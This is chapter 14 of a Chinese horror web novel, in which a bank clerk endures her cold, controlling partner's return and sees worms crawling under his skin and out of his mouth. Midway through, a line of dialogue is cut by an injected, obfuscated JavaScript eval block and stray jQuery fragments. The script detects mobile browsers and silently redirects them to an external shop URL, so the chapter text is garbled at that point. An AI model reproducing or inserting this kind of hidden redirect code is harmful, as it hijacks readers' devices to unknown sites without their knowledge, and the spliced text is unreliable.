第十四章他回来了
一
陈默下班的时候，天已经黑了。
六点四十，十二月的天黑得早。她走出银行大门，冷风扑面而来，她缩了缩脖子，把围巾裹紧。
手机在口袋里，没有消息。
一整天都没有消息。
他说“明天回去”，但没说几点。她不知道他什么时候到，不知道推开门的时候会不会看见他。
地铁上人很多，晚高峰，挤得像沙丁鱼罐头。她被挤在车门旁边，一只手拉着扶手，一只手护着包。车窗外的隧道灯一盏一盏往后闪，快得看不清。
她盯着那些光，脑子里空空的。
什么都没想。
什么都不敢想。
到站了，她被人群推下去，走出地铁站，往家走。
小区里很安静，路灯亮着，把她的影子拉得很长。她踩着那个影子，一步一步往前走。
走到楼下，她抬头看七楼的窗户。
黑的。
他没回来。
她松了一口气，又憋了一口气。
说不上来是什么感觉。
电梯上行，开门，掏钥匙，开门。
屋里黑的。
她开灯，换鞋，放下包，走进客厅。
沙发上的坑，又深了一点。
她站在那儿，看着那个坑。
然后她听见一个声音。
“回来了？”
二
陈默猛地转身。
王志强坐在餐桌旁边，黑暗里，她没看见他。
他坐在那儿，看着她。
那两只眼睛，在黑暗里，发着光。
陈默攥紧手指。
“你……什么时候回来的？”
“下午。”
下午。
她上班的时候，他就回来了。
她什么都不知道。
他站起来，走过来。
一步一步，走到她面前。
那股味道——油油的，腻腻的，甜酸甜酸的——扑面而来。比之前更浓了。浓到她几乎要窒息。
他低头看着她。
那两只发光的眼睛，离她很近。
“十八天。”他说。
陈默没说话。
“你一个人过了十八天。”
她还是没说话。
他伸出手，放在她脸上。
凉的。
比之前更凉了。
像刚从冰柜里拿出来的东西。
那只手在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。
“没跑。”他说。
那个语气，不是疑问，是陈述。
她知道他没跑。
“好。”他说。
他收回手，转身走回沙发，坐下。
“做饭。”
陈默站着没动。
他抬头看她。
“做饭。”
她转身走进厨房。
冰箱里没什么东西。这几天她一个人，随便吃点就行，没买菜。她翻了半天，找到几个鸡蛋，一把挂面，还有半棵白菜。
她开始做饭。
切白菜，打鸡蛋，烧水，煮面。
手在抖。
刀差点切到手指。
她深吸一口气，稳住手。
做好饭，端出去。
两碗面，放在茶几上。
王志强拿起筷子，开始吃。
陈默坐在旁边，看着他吃。
他吃面的样子，和之前一样。夹一筷子，送进嘴里，嚼，咽下去。嚼的时候，嘴巴还是不动。只有喉咙在动，一下一下，把东西咽下去。
她看着那个喉咙，突然注意到一件事。
他的喉咙，在动的时候，会鼓起一块。
不是正常人咽东西那种鼓起。
是一大块，像有什么东西从里面往外顶。
她盯着那块鼓起，移不开眼。
他吃完一碗，放下筷子。
“你不吃？”
陈默低头看自己的碗。
面已经坨了。
她拿起筷子，开始吃。
什么味道都没有。
她嚼着，咽下去。
他看着她吃。
那两只发光的眼睛，一直盯着她。
她低着头，不敢抬头。
吃完，她站起来收碗。
“放着。”他说。
她停下。
“明天收。”
她放下碗，不知道该干什么。
他拍了拍沙发旁边的位置。
“过来坐。”
她走过去，坐下。
离他半米远。
他伸手，把她拉近。
那只手，凉得她打了个哆嗦。
他把她拉到自己旁边，让她靠着他的肩膀。
那股味道，更浓了。
她忍着不呼吸。
但忍不住。
每一次呼吸，都把那个味道吸进去。
他靠着沙发，闭着眼。
那两只眼睛，不发光了。
就像睡着了一样。
陈默坐在他旁边，一动不动。
不知道过了多久，他开口了。
“这十八天，你在想什么？”
陈默愣了一下。
“没想什么。”
“没想跑？”
她没说话。
他睁开眼，看着她。
那两只眼睛，又亮了。
“想过吗？”
她看着他。
想过吗？
想过。
站在门口，拿着钥匙，想过。
站在窗边，看着外面，想过。
躺床上，盯着天花板，想过。
但她说：“没有。”
他盯着她，看了几秒。
然后笑了。
那个笑，和之前一样。贴上去的，不动的，不属于那张脸的。
“好。”他说。
他又闭上眼。
陈默坐着，一动不动。
三
那一夜，陈默又没睡。
她躺在王志强旁边，睁着眼，盯着天花板。
他睡着，呼吸均匀。
那股味道，整个卧室都是。她觉得自己像躺在一个正在腐烂的东西旁边。
她慢慢转过头，看他的脸。
黑暗里，他的脸看不太清。只能看见一个轮廓。
那个轮廓，和平时一样。
但她看着看着，总觉得有什么不对。
不是轮廓不对。
是……别的东西。
她盯着那张脸，盯了很久。
然后她看见了。
他的脸，在动。
不是睡着的那种动。
是皮肤底下，有什么东西在动。
像虫子，在皮下面爬。
一下，一下，一下。
从额头爬到脸颊，从脸颊爬到下巴，从下巴爬到脖子。
然后消失了。
陈默屏住呼吸。
他的脸，又恢复平静。
但那一下，她看见了。
真的看见了。
她慢慢往后挪，想离他远一点。
但他伸出手，把她拉回去。
那只手，凉得像冰。
“别动。”他说。
他没睁眼。
但他知道她在动。
陈默僵在那儿，一动不动。
他的手，还搭在她身上。
凉的，沉的，像一块石头。
她就这样躺着，一直躺到天亮。
四
早上，陈默起床的时候，王志强已经不在了。
她不知道他什么时候走的。
她下楼的时候，在电梯里碰见一个邻居。
是个老太太，住五楼，平时见面会点头打招呼。
今天她看见陈默，愣了一下。
“小陈啊，你脸色怎么这么差？”
陈默摇摇头。
“没事，没睡好。”
老太太看着她，欲言又止。
电梯到了一楼，门开了。
陈默走出去。
老太太在后面，叫住她。
“小陈。”
她回头。
老太太站在电梯里，看着她。
“你……你小心点。”
电梯门关上了。
陈默站在那儿，看着那扇关上的门。
小心点？
小心什么？
她不知道。
但她记住了那个眼神。
老太太看她的眼神，像看一个快死的人。
五
一整天，陈默都心不在焉。
办业务的时候，差点把客户的钱数错。老张在旁边提醒她，她才反应过来。
中午休息的时候，她坐在食堂角落，盯着餐盘发呆。
老张坐过来。
“陈默，你今天怎么回事？”
她摇摇头。
“没事。”
老张看着她，没说话。
过了一会儿，他开口了。
“陈默，有些话我不知道该不该说。”
陈默抬起头。
老张看着她，表情有点复杂。
“你那个男朋友……他是不是……”
他没说完。
陈默等着。
老张叹了口气。
“算了，没什么。”
他站起来，走了。
陈默坐在那儿，盯着他的背影。
老张想说什么？
他是不是什么？
她不知道。
但她突然想起一件事。
老张在银行干了十几年，见过的人比她多得多。
他是不是看出什么了？
六
晚上下班，陈默回到家。
王志强在家。
他坐在沙发上，看电视。
和以前一样。
陈默换了鞋，放下包，不知道该干什么。
“过来坐。”他说。
她走过去，坐下。
他伸手，把她拉近。
那只手，还是凉的。
她靠在他身上，闻着那股味道。
电视里放着什么综艺节目，罐头笑声一阵一阵的。
她盯着屏幕，什么都看不进去。
过了一会儿，他开口了。
“陈默。”
她转头看他。
他看着电视，没看她。
“你知道我为什么找你吗？”
陈默愣了一下。
“什么？”
他转过头，看着她。
那两只眼睛，在灯光下，发着光。
“我找了很久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387626|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”他说，“很久很久。”
她没说话。
“你是第一个。”
第一个？
第一个什么？
他没解释。
他又转回去看电视。
陈默坐着，脑子里乱糟糟的。
第一个？
第一个什么？
第一个活到现在的？
第一个没跑掉的？
第一个……熟的？
她不知道。
但她知道，她不想知道。
七
那天晚上，陈默又失眠了。
她躺在王志强旁边，睁着眼，盯着天花板。
他睡着，呼吸均匀。
那股味道，比昨天更浓了。
她慢慢转过头，看他的脸。
黑暗里，那张脸，又在动。
皮肤底下，有什么东西在爬。
从额头爬到眼睛，从眼睛爬到鼻子，从鼻子爬到嘴巴。
然后，嘴巴张开了。
不是他自己张开的。
是皮肤底下的那个东西，从里面把嘴巴撑开了。
陈默看见他的嘴里。
那个黑洞。
但这一次，黑洞里，有什么东西在往外冒。
是虫子。
细细的，白白的，像蛆一样的虫子。
从他的嘴里爬出来。
一只，两只，三只。
爬到他脸上，爬到他脖子上，爬到他胸口。
陈默捂住自己的嘴，不让自己叫出来。
那些虫子，越来越多。
从他的眼睛、鼻子、耳朵里往外冒。
他整个脸，都爬满了虫子。
但他还在睡。
呼吸均匀。
像什么都没发生。
陈默慢慢往后挪。
一点，一点，一点。
挪到床边，慢慢下床。
光着脚，一步一步往外走。
走到门口，回头看了一眼。
他还在那儿躺着。
满身虫子。
她拉开门，冲出去。
八
陈默跑到客厅，靠在墙上，大口喘气。
她低头看自己。
身上没有虫子。
还好。
她抬起头，看着卧室门。
门开着。
里面黑漆漆的，什么都看不见。
但她知道，那些虫子还在。
还在他脸上爬。
她站在那儿，不知道该怎么办。
跑？
跑哪儿去？
门在那边。
她可以跑。
但她没动。
她就站在那儿，看着那扇门。
不知道过了多久，卧室里传来一个声音。
“陈默。”
她浑身一僵。
“进来。”
她没动。
“进来。”
那个声音，还是他的声音。
但那个语气，不对。
不是命令，不是威胁。
是邀请。
像在叫她吃饭一样平常。
她慢慢走过去。
走到卧室门口，往里看。
他还躺着。
还是那个姿势。
脸上什么都没有。
没有虫子。
干干净净。
他睁开眼，看着她。
那两只眼睛，发着光。
“做噩梦了？”他问。
陈默张了张嘴。
“我……我看见……”
“看见什么？”
她看着他。
那张脸，干干净净。
什么都没有。
“没什么。”她说。
他笑了。
那个笑，贴上去的，不动的。
“过来睡。”
她走过去，躺下。
他伸手，把她拉近。
凉的。
那股味道，更浓了。
她闭上眼。
脑子里全是那些虫子。
白的，细细的，从他的嘴里爬出来。
她现在躺在他旁边。
那些虫子，会不会爬到她身上？
她不知道。
她只知道，她不能睁开眼。
睁开眼，就会看见。
九
天亮的时候，陈默醒了。
王志强已经不在了。
她躺在床上，盯着天花板。
阳光从窗帘缝里漏进来，照在她身上，暖洋洋的。
但她觉得冷。
从里到外的冷。
她坐起来，下床，走到卫生间。
镜子里的自己，又变样了。
眼袋更黑了，脸色更灰了，下巴上的痘更多了。
但最可怕的，是眼睛。
那两只眼睛，有一点发亮。
不是发光，是发亮。
就像他的眼睛那样。
她盯着那双眼睛，看了很久。
然后她打开水龙头，用冷水洗脸。
洗了一遍，又洗了一遍，又洗了一遍。
洗到脸发红，才停下来。
抬起头，看镜子。
那双眼睛，还在发亮。
洗不掉。
---
第十四章完